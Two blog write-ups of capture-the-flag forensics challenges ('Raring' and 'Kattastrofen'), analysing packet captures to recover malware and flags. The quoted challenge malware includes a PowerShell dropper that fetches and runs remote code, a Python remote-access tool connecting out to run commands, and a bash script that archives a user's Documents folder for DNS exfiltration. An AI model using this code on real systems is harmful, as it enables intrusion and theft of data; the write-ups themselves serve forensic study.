Writeups on Alisceon.com

Writeup: Undutmaning Raring

Wed, 24 Apr 2024 14:47:30 +0200

Writeup: Raring 🔗

It’s never too late to put out a writeup on a challenge you did… even a whole month after the actual event. This time it is one of the challenges from the Undutmaning, a CTF hosted by three Swedish intelligence/security agencies. Just as with my previous writeup this is a forensics challenge, at least by the CTF organizers definition. But it has some reverse engineering and crypto in it as well, which was honestly a really nice design choice on their part. The challenge felt pretty dynamic and I had to pull out some old schoolbook knowledge to solve some of the steps. So with no further ado, let’s dive into the material!

First step, looking into the provided material 🔗

This challenge starts you off with a pcap file and some allusions that it contains some sort of secret data transmission. A pcap file is simply a format for storing captured network transmissions, which can then be sifted through by analysts with tools like wireshark. Going over the packets flowing back and forth in the pcap file gives the impression of pretty normal web interactions

Wireshark lets you very easily export the data that was transmitted over a lot of protocols, including the omnipresent http. And looking into the exported files one pops out very quickly, namely important.rar. Extracting the archive yields a file called IMPORTANT.md.cmd, which seems a pretty poor way of obfuscating an executable but I think we’ve all seen worse work just fine for attackers. But there are a few other files as well, like a few HTML documents and a cute picture of a cat (which may prove to be more than it looks at first glance). The HTML files seems to indicate that the extracted files came from some sort of interaction with a very simple online mail client. Someone urges the user “Bob” to have a look at and approve the important report, and links the important.rar file.

Looking into the important script 🔗

As one may guess from the .cmd file extension, the code within IMPORTANT.md.cmd is a standard old-fashioned batch script. Well, at least syntactically. In reality it is just there to invoke a powershell command because doing heavy lifting logic in batch is a chore and would also likely make the script more cumbersome to ship. I’ve added some whitespace to the original to make it legible:

@echo off
powershell.exe -command '
if (
    (&{python -V} 2>&1 | % gettype) -eq [System.Management.Automation.ErrorRecord]
) 
{
    Invoke-WebRequest http://10.0.2.20/msupdate.msi -OutFile C:\Temp\msupdate.msi; 
    Start-Process "C:\Temp\msupdate.exe" -WindowStyle Hidden
} 
else 
{
    $s = (Invoke-WebRequest "http://10.0.2.20/G78GAP3GQV8B.jpg").Content; 
    $k = $s[-4934..-2467]; 
    $v = $s[-2467..-1]; 
    $o = @(); 
    for ($i = 0; $i -lt 2467; $i++) 
    { 
        $o += $k[$i] -bxor $v[$i]; 
    }; 
    $o = [System.Text.Encoding]::ASCII.GetString($o); 
    python3 -c "print($($o))"
    }
'

First it checks the version and therefore presence of a Python interpreter on the system. It does this by asking for a version with the -V flag but then instead of listening to that, it looks at whether or not the command returned with an error. If it detects that Python isn’t installed it goes and grabs it from a controlled server and installs it with the -WindowStyle Hidden flag, which hides the installer from the user. However it seems our user had Python, because otherwise the download of it would likely be a large chunk of the pcap stream. So we go right to the else statement and the business part of the script which begins by downloading that cat picture I mentioned that we extracted right into the variable s. Then the variable k and v are respectively assigned a sequence of bytes from the data of that cat image. The bytes in k and v are then bitwise XORed giving a kind of obfuscation that is similar to encryption in implementation but not in purpose. Whereas encryption aims to maintain the confidentiality of data, this simply acts to make the payload hard to detect for file scanners who will think it is just random binary.

This kind of data transfer is a prime example of steganography, which is the practice of hiding data within data. Doing so in a media file like a JPEG or PNG is often very simple, as you can simply append data behind the marker for end of file where an image reader would stop reading the file. In this case, the downloaded G78GAP3GQV8B.jpg is 86491 bytes in size, but the image of the cat is only 81557 of those bytes, which equates to a 4934 byte payload appended to the end of the file. As you can see in the extractor code, that is exactly where the script starts reading bytes from the image, going until the last byte. There are other ways of hiding data in media files as well, of course. One popular and still hard to detect method is Least Significant Bit (LSB) steganography where you edit the least significant bit for determining the color of every pixel to a bit in the data you wish to hide, which leaves the original file size unchanged and is still practically invisible to the human eye. But looking back to our issue at had, we now understand just what this script is doing and we can also see it ends up converting those extracted bytes to ascii and sending them in as a command into Python. So let’s have a look at exactly what they were executing.

The cat script 🔗

I was too lazy to install powershell on my machine, so i quickly rewrote the deobfuscator in Python:

raw_data = open("G78GAP3GQV8B.jpg", "rb").read()
k = raw_data[-4934:-2467]
v = raw_data[-2467: -1] 
o = b""
for i in range(0, 2466):
    o += (k[i] ^ v[i]).to_bytes()
print(o.decode())

It does the exact same thing as its powershell counterpart and when executed prints that code which had been obfuscated in the cat picture. I have left only the more important code in, because we will be doing very little analysis of the actual code for this part. But I can guarantee that our threat actors ALMOST kept to PEP-8 code standards originally, they even included some error management!

def encrypt_session_key(session_key: bytes) -> bytes:
    # TODO: generate new rsa key, p and q are too close..
    public_pem = '''-----BEGIN PUBLIC KEY-----
    MIIB ...
    iwIDAQAB
    -----END PUBLIC KEY-----'''

    public_key = RSA.import_key(public_pem)
    cipher = PKCS1_OAEP.new(public_key)
    ciphertext = cipher.encrypt(session_key)
    return ciphertext
def encrypt_AES_GCM(key, plaintext):
    ...
def decrypt_AES_GCM(key, nonce, tag, ciphertext):
    ...
if __name__ == '__main__':
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    session_key = get_random_bytes(16)
    while True:
        try:
            sock.connect(('10.0.2.20', 443))
            break
        except:
            sleep(60)
    rsa_blob = encrypt_session_key(session_key)
    sock.sendall(rsa_blob)
    while True:
        message = sock.recv(4096)
        if not message:
            break
        nonce = message[:16]
        tag = message[16:32]
        ciphertext = message[32:]
        command = decrypt_AES_GCM(session_key, nonce, tag, ciphertext).split()
        result = subprocess.check_output(['powershell.exe'] + command, stderr=subprocess.STDOUT)
        aes_blob = encrypt_AES_GCM(session_key, result)
        sock.sendall(aes_blob)

So looking over this code we can see a few things. Firstly, they left a comment in pointing out an obvious flaw, which is not all that uncommon when you break open malware to look inside. Secondly, we are dealing with some very standard encryption using a pre-shared public key for key encryption, then a symmetric key for stream data. Thirdly, that what they receive and send are commands and output respectively, which places this malware in the category of being a remote access tool, or RAT. It is kind of sneaky at that, because it lets the infected client connect to a server and then receive the commands as opposed to the server initiating the connection. This lets an attacker control a victim that hasn’t changed firewall or NAT settings to allow them through and at the same time allows them to masquerade as a legitimate HTTPS server to any security systems that are watching.

The final stretch 🔗

After having a second look at the pcap file in wireshark we can identify the exact moment the handshake is made and encrypted SSL traffic starts.

What we have learned thus far is that a victim went on a website, got a download for a cmd file that when executed pulled a Python RAT and initiated a connection to a remote server. The connection to that remote server is encrypted with AES with a key that in turn encrypted with RSA. The RSA key used is, according to the malware comment, based on poorly selected primes. I’m not going to go into the specifics of how RSA encryption works here, but for our purposes it is important to know that when a key is not constructed according to best practices, the encryption scheme is vulnerable to a lot of cryptographic attacks. In this case we can extract the private key from the public key because finding the prime factors that make it up is trivial. There is a public database of known factorized numbers, and this one is included! But without the database, it was pretty quick to just use fermat factorization as well. Here is the code I used to get the private key:

from Crypto.PublicKey import RSA
from factordb.factordb import FactorDB

key = RSA.import_key(open("id_rsa.pub").read().strip())
f = FactorDB(key.n)
f.connect()
p, q = f.get_factor_list()
phi = (p - 1) * (q - 1)
d = int(pow(key.e, -1, phi))
priv_key = RSA.construct((key.n, key.e, d))
print(priv_key.export_key().decode())

Now that we have obtained the key that is capable of decrypting the key that was transmitted in the SSL handshake, we can get to work decrypting the entire communication stream! So let’s extract that part from the pcap file. This could be done in wireshark, but I prefer doing these exctractions with tshark, the cli cousin of wireshark.

tshark -2 -r raring.pcap -R "ssl" -T fields -e tcp.payload > datafile.txt

What we are essentially saying here is: “Give me the tcp payload of the packets where the connection type is ssl” and then we put it in a file for storage. Then, referencing back to the cat script, we write a decryptor that will use that private key we extracted to get the session key, and then decrypt the traffic:

from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA

lines = [bytes.fromhex(x.strip()) for x in open("datafile.txt").readlines()]
enc_psk = lines.pop(0) # Get the encrypted session key which was the first thing transmitted
decryptor = PKCS1_OAEP.new(priv_key) # Use a decryptor with the reconstructed private key
dec_psk = decryptor.decrypt(enc_psk) # Get the decrypted session key

def decrypt_AES_GCM(key, nonce, tag, ciphertext): # Steal the decryption function from the RAT
    cipher = AES.new(key=key, nonce=nonce, mode=AES.MODE_GCM)
    plaintext = cipher.decrypt_and_verify(ciphertext, tag)
    return plaintext.decode('utf-8')

for line in lines:
    nonce = line[:16]
    tag = line[16:32]
    ciphertext = line[32:]
    print(decrypt_AES_GCM(dec_psk, nonce, tag, ciphertext))

And the result (with some whitespace removed, some command outputs abridged, and a > to distingish commands from output) is:

> hostname
UU24PC01

> whoami /fqdn
CN=Bob Bobsson,CN=Users,DC=sekmyn,DC=local
> Get-NetIPAddress
IPAddress         : fe80::e1cb:257e:e4a8:f121%8
InterfaceIndex    : 8
InterfaceAlias    : Ethernet
...
> Get-NetNeighbor
ifIndex IPAddress          LinkLayerAddress   State      PolicyStore
------- ---------          ----------------   -----      -----------
8       ff02::1:ffa8:f121  33-33-FF-A8-F1-21  Permanent  ActiveStore
...
> Net User
User accounts for \\UU24PC01
-----------------------------------------------------------
Administrator            Bob                 DefaultAccount
Guest                    WDAGUtilityAccount
The command completed successfully.
> Get-PSDrive
Name   Used (GB)  Free (GB) Provider    Root    CurrentLocation
----   ---------  --------- --------    ----    ---------------
Alias                       Alias   
C       24.65         24.48 FileSystem  C:\    Users\bob.SEKMYN
...
> Get-ChildItem Z:\
    Directory: Z:\
Mode     LastWriteTime         Length Name 
----     -------------         ------ ---- 
...
d-----   3/10/2024   6:15 PM          admin
> Get-ChildItem Z:\admin\
    Directory: Z:\admin
Mode   LastWriteTime      Length Name    
----   -------------      ------ ----    
-----  3/10/2024 6:15 PM      28 flag.txt 
> Get-Content Z:\admin\flag.txt
undut{Qu4nd0-Qu4nd0-Qu4nd0}

And there is our flag! You can tell by the sequence of commands that they wanted to give the impression of an attacker doing some cautious recon before finding what they were looking for. They make sure they are in the right machine, list the network, then go for the filesystem. This kind of command execution is common in attacks where the attacker has either not done a lot of recon beforehand, and thus is unfamiliar with the system they land on, or have a broader scope for their attack so they couldn’t know the victim system layout in advance. While not conclusive evidence of compromise at all in and of itself, it can serve as a light indicator of compromise to be combined with others to detect attackers before it escalates too far.

Conclusion 🔗

Generally, it is hard to find and limit scripts like before it is too late. They run commands, use protocols, and make connections that could just as well be completely benign. This is exactly why a lot of browsers will be really persistent about you trusting the source for a download. While this attack doesn’t try to do fancier things like privilege escalation and completely owning the victim device, it can still be used to hijack user resources and exfiltrate user data. This particular one was meant to be connected to by a person, but in most cases they are operated through some sort of command and control server that keeps the connection alive and orchestrates the infected machines. While this SSL-based connection mechanism will work fine for most machines in most networks, other command and control mechanisms can be used to look even more innocent. One such example is using a discord bot with a webhook to control the infected machine via a discord server. To the victim machine, and other potential intrusion detection systems, the traffic will look like normal discord use and will be practically impossible to spot as malicious by automated systems. In this case the malicious file was sent by a supposedly trusted colleague over mail, but it could have been a discord friend who had their account hijacked or a text message from someone who had their number spoofed.

Writeup: Kattastrofen

Fri, 01 Mar 2024 19:09:33 +0100

Writeup: Kattastrofen 🔗

A friend wrote me today, said there was a challenge up on fra.se, and I was kinda itching for something to do so i jumped to it. The challenge in question was “Kattastrofen”, which only gives you a pcap file to play around with and some flavour text alluding to “someone having run malicious code which exfiltrated top secret data from their machine”. The readme says there will be three flags, in the format flagga[1-3]{[a-zå-ö0-9_!]+}. With little information to go on there is really only one reasonable starting point: Wireshark!

Flag 1: Basic Wireshark 🔗

Wireshark, and its commandline counterpart tshark, are very flexible packet capture- and analysis tools which can be used in forensic cases like this to investigate how different agents on a network communicated with eachother. The first thing I saw when opening the pcap in Wireshark was the HTTP traffic between a client (10.0.0.10) and a normal enough looking webserver (10.0.0.1). I could see that there was the typical GET requests for the site root, and the GET for the style.css file. Then there are some requests for some JPEGs with “kitten” in the filenames, and then a zip file which piqued my curiosity.

Naturally I took the lazy route and used Wireshark’s builtin object export to retrieve the files in the exchange. It simply looks at the data segments of a given protocol and stitches the transmitted files back together for you. The export yielded an HTML file, a zip file, a favicon, a css file, and a whole bunch of cat JPEGs which was to be expected from the transmission we looked at earlier. Only the first two turned out to be interesting, as the zip file was password protected with a string that was printed in bold text right across the page. We could have just as easily seen this in Wireshark if we had inspected the response to the first GET request, but I find that taking this route lends itself to a clearer overview for the general forensics case. In the zip archive we find a bunch more cat JPEGs and our first flag in a file called flag.txt:

flagga1{klassiska_lösenord_för_100}

Flag 2: Meeting Dennis 🔗

What happened here really? 🔗

So looking further at the original pcap, we see that there was a large block of DNS queries that look awfully suspicious. DNS is usually meant to resolve domain names to IP addresses, but these queries were for very strange domains. The structure was a number of subdomains that looked a lot like hexadecimal followed by cutekittenzz.xyz, which clearly indicates a DNS data exfiltration, and pretty rudimentary one at that. Simply put, the attacker is able to send DNS requests to a server they control from a machine they wish to exfiltrate data from. In these DNS requests they include subdomains with that data encoded, most usually in hexadecimal form. In the server they control they can later stich all these subdomain names together to recreate the file they exfiltrated. DNS exfiltration is used when subterfuge is important, as DNS is hard to block on a network level because of how desirable keeping it open is. If you put too large restrictions on DNS the internet will just start breaking for network users. The subterfuge is however pricy as it is comparatively slow since you are limited to just a few bytes per request, which there aren’t going to be a lot of if you want to keep that low profile.

Most modern IDS systems would scream and shout just based on how the subdomains looked, and the fact that there was suddenly a huge spike in DNS traffic to a previously unrecognized domain. This can also be circumvented by using the DNS packet header data instead of the name field, but then you are reducing your data transmission rate from bytes per request to bits per request. This makes it overall harder to detect a data spike, but you still run the issue of sending a lot of DNS queries for similar domains. Though this behavior is similar to how a lot of modern CDNs work, meaning that if you can mimic this behavior by clustering some cloud nodes, the exfiltration becomes all the harder to detect. Although at the end of the day, it is hard to beat TLS for secure data transfer and detecting exfiltration over HTTPS is increasingly difficult as its usage increases in scope more and more.

So now we know where our exfiltrated data is in the pcap, we just need to figure out how it got there in the first place. Looking around the archive extracted earlier, we can quickly find a bit of an outlier among the files: kitten-3.jpg which is far larger than the other JPEGs, and lacks a thumbnail image. This is because it is actually not a JPEG at all but a shell script that has just had the filename changed to make it look like an image. Most operating systems will still trust the file extension on a given file, even though it can be simply any data in there. This is a case of very basic steganography, which is the practice of hiding data within other data for the purpose of obfuscation. Taking a look at the contents of the file we see that it is a script meant to exfiltrate all the data in the executing users Documents directory.

#!/bin/bash

D=$(dirname "$0")
eog "$D/kitten-9.jpg" &

key="P1yq59jxFvIGgyebMmzgQIx6f/ng0fmK+N5+kDdBcgU="
echo $key |base64 -d > /tmp/key
tar cf - $HOME/Documents > /tmp/exfil.tar
echo "EXFIL $(date)" > /tmp/exfil.dat
echo "SIZE: $(stat -c%s /tmp/exfil.tar)" >> /tmp/exfil.dat
md5sum /tmp/exfil.tar >> /tmp/exfil.dat
echo "BEGIN DATA" >> /tmp/exfil.dat
paste <(od -An -vtu1 -w1 /tmp/exfil.tar) <(while :; \
    do od -An -vtu1 -w1 /tmp/key; done) \
  | LC_ALL=C awk 'NF!=2{exit}; {printf "%c", xor($1, $2)}' \
  | base64 >> /tmp/exfil.dat
echo "END DATA" >> /tmp/exfil.dat

...

First it pops up kitten-9.jpg with Eye of Gnome, a common image viewer that ships in a lot of Linux distros by default, so you have something cute to look at while you’re being robbed. It adds your entire Documents directory to a tar archive file, so it can be transmitted in a single go. Then the header for an exfiltration file is created, which includes the current date, the size of the tar archive as well as a checksum for it so that the transmission of the contents can be verified at the other end. Then the tar archive is passed through a function which uses the pre-defined key in an XOR-cipher to encrypt the entire tar file before it is appended to the end of the file. Calling this encryption hinges on a technicality, it really is so weak that it is basically just an encoding at this keysize. However if you extend the key to be as long as the file being encrypted, then the cipher is considered an unbreakable One Time Pad. Just don’t go on to reuse the same key since that reduces the keysize relative to the amount of data transmitted, landing you in the same problem as earlier but with more steps.

After this there is a huge blob of Base64 encoded data which gets decoded and shoved into a file named mjau, which subsequently gets executed with cutekittenzz.xyz, as an argument. Since that is the domain we saw in the exfiltration datasteam, we can assume this was the binary blob with which the exfiltration itself was carried out. Decoding it ourselves reveals that this is very much the case as it is a minimal version of dnscat, a tool used for exactly this kind of work. Knowing this we have everything we need now to retrieve the data from the pcap file!

The lost top secret document 🔗

We can use Wiresharks sibling tshark to get all the data we need from the pcap, while filtering out data that we don’t need. The DNS packet structure means there is a header and kind of a footer as well which we would need to account for if we used the dump right off the bat. But using the filtering function in tshark we can get just the name field, which is what we want here. We specify the command in such a way that we only get the name field of DNS queries which have the source 10.0.0.10 and output it all into a text file to hold it for further processing:

tshark -r kattastrofen.pcap \
       -T fields -e dns.qry.name \
       -Y "ip.src == 10.0.0.10 and dns" > dennis.txt

And we end up with something looking like this (a bit truncated for your viewing pleasure)

01e6002b176dba0021636f6d6d616e6420287562756e74752900.cutekittenzz.xyz
11e9012b176dbaec63.cutekittenzz.xyz
4da6012b176dbaec63.cutekittenzz.xyz
9e6f012b176dbaec63.cutekittenzz.xyz
3b0a012b176dbaec63.cutekittenzz.xyz
ff37012b176dbaec63.cutekittenzz.xyz
61ea012b176dbaec63.cutekittenzz.xyz
3a0b012b176dbaec63.cutekittenzz.xyz
500b012b176dbaec7a0007cfcc80010003455846494c204d6f6e20303520.46656220323032342030353a30393a303220414d205053540a53495a453a.203337383838300a39643962333734633333613836373266386638663161.6638373164376430346620202f746d.cutekittenzz.xyz
bcf5012b176e1aec7a702f657866696c2e7461720a424547494e20444154.410a567a5048677665455a5a64307247503055526d4e4a65494f444e6267.30666d4b2b4e352b6b4464426367552f584b726e32504557386761444a35.7379624f42416a48702f2b6544522b.cutekittenzz.xyz
abe0012b176e7aec7a5972340a336e36514e304679425439637175665938.526279426f4d6e6d7a4a733445434d656e2f35344e483569766a65667041.335158494650317971352b6a424a73497874684b62416c7a51636274500a.542f6e5134636d377a2b744f6b4164.cutekittenzz.xyz

Just looking at it with my primate eyes I spotted pattern pretty quick, that the first four characters varied a lot, the subsequent 14 were relatively static and then it became very varied again. This indicated that the first 18 bytes were some sort of header, which might interfere with how we stitch this file together later. So I went to the first intuative thing that came to mind to manage text data: Python!

First we need to just get the data separated from all the clutter, which we can do with this python list comprehension.

data = [x.split(".")[:-2] for x in open("dennis.txt").readlines() if x]

Then, we need to convert it from hexadecimal to raw binary so we can work with it easier. Luckily Python enables this type conversion very easily, so another list comprehension it is. In this step I also discard the useless 18 byte header data.

data = [bytes.fromhex("".join(blob)[18:]) for blob in data]

Now we have the full .dat file that the script in kitten-03.jpg created! But we are only really interested in recovering the exfiltrated tar file, which we know is between the BEGIN DATA and END DATA points in the file, so we can use split to carve it out. Then it is just a matter of decoding it, and while it is obvious that it is Base64 data just by looking at it, we also know this from the script.

import base64
b64_data = b"".join(data).split(b"BEGIN DATA")[-1].split(b"END DATA")[0]
decoded_data = base64.b64decode(b64_data)

Now we have the raw binary data, but they encrypted it with an XOR cipher meaning we have to add the step of decrypting it before we can look inside. This is easily done, since they left the key in the script! We just need to decode that, then loop over the encrypted data to get the cleartext out.

decoded_key = base64.b64decode("P1yq59jxFvIGgyebMmzgQIx6f/ng0fmK+N5+kDdBcgU=")

decrypted_data = bytearray()
for i, byte in enumerate(decoded_data):
    decrypted_data.append(byte ^ decoded_key[i%len(decoded_key)])

open("out.tar", "wb").write(decrypted_data)

In out.tar we find just what we expect, a directory tree going from / straight down to the users documents where we find topphemligt.pdf. The PDF contains a picture of a cat, which seems very in character for our victim, with the second flag printed over it

flagga2{every_day_is_caturday}

Flag 3: ClusterJSfuck 🔗

The truth within the truth 🔗

I had a quick look through the other files at this point to see if I had missed anything, but after finding no leads I returned back to the PDF. PDF steganography is pretty common, since PDFs can carry various types of objects which can be displayed or hidden from regular PDF viewers very easily. But after simply opening the PDF in a text editor something stood out to me immediately, a JavaScript object with some more hexadecimal in it.

3 0 obj
<<
/Type /Action
/S /JavaScript
/js <5B5D ... 0A0A>
>>
endobj

Decoding the hexadecimal gave this incredibly disheartening result. It goes on for a bit more than 23kB total, so yet again truncated for your viewing pleasure.

[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])...

I didn’t immediately recognize it, first mistaking it for the popular EsoLang Brainfuck. But since that doesnt implement ! my search continues. I quickly found JSFuck, a language I had heard of in some talk or discussion or something way back, and it sounded reasonable since it came out of a JavaScript object. As opposed to Brainfuck, JSFuck is built to almost be useful since it can run in a lot of modern JavaScript engines which makes it pretty useful for obfuscation. If you are going to smuggle a malicious payload past an IPS or just a clientside anti-malware system, you need to go through at least a few steps of obfuscating it so that it doesn’t get caught by simple fingerprinting techniques. Turning your malicious JavaScript code snippet into JSFuck would certainly accomplish this at the cost of making it comparatively huge. I used this wonderful decoder by this frontend developer who clearly has far more patience in their pinky than I ever will in my entire being. The decoder returned a very simple snippet of JavaScript code.

const data = [
    0n, 
    16777216n, 
    963362762567186450219276n, 
    1227815285621149424943362n, 
    4251180420234710034485506n, 
    1227908978741191150735617n, 
    1228942000327703451209986n, 
    1229089574843243084713986n, 
    1229089574913611821027586n, 
    1276163323341699551654156n, 
    1170935903267323904n, 
    16393102643729268736n
    ]; 
    if(0.1 + 0.2 == 0.3) {   
        let str = "";   
        for(let x of data) {     
            str += x.toString(2).padStart(106, '0') + "\n";
        }   
        app.alert(str.replaceAll("0", " ").replaceAll("1", ".")); 
    }

Given that I am pathologically terrified of JavaScript, I rewrote it in Python which made it far prettier to my eyes as well.

data = [
    0, 
    16777216, 
    963362762567186450219276, 
    1227815285621149424943362, 
    4251180420234710034485506, 
    1227908978741191150735617, 
    1228942000327703451209986, 
    1229089574843243084713986, 
    1229089574913611821027586, 
    1276163323341699551654156, 
    1170935903267323904, 
    16393102643729268736
    ]

outstr = ""
for x in data:
    outstr += bin(x)[2:].rjust(106, "0").replace("0", " ").replace("1", ".") + "\n"

print(outstr)

Which when executed prints the final flag in cute ASCII art. But it is interesting how they add this other layer of obfuscation that is also commonly used in malicious code. You can very effectively turn the bytes of your malware into integers and come up with strange ways of concatenating them. This can also be done algorithmically to give a sort of polymorphism which can facilitate easier spread of the payload in the future. But here is our journey’s end since we have now retrieved the last flag.

flagga3{mj4u!}

Conclusion 🔗

The challenge was four hours or so of fun with some pretty varied puzzles to solve. I was impressed with how close to reality they chose to keep the challenge, though using some methods that are less common nowadays. It felt a lot like a textbook breach from the late naughties, given the exfiltration strategy and the obfuscation methods. But it is not as if attackers have advanced all that far except the more professional cases. These kinds of attacks still occur on less secured networks, in home networks for instance, since not all environments are set up to the standards needed to detect this kind of attack. While the structure of the challenge left some question marks, like how the victim ended up executing the malicious script (I suspect the humble double click is but my nautilus disagreed when i tried it), it was one of the better ones I’ve played in a chill context such as this and made for wonderful evening entertainment. I may well do some more one-offs and make little writeups like this in the future as well!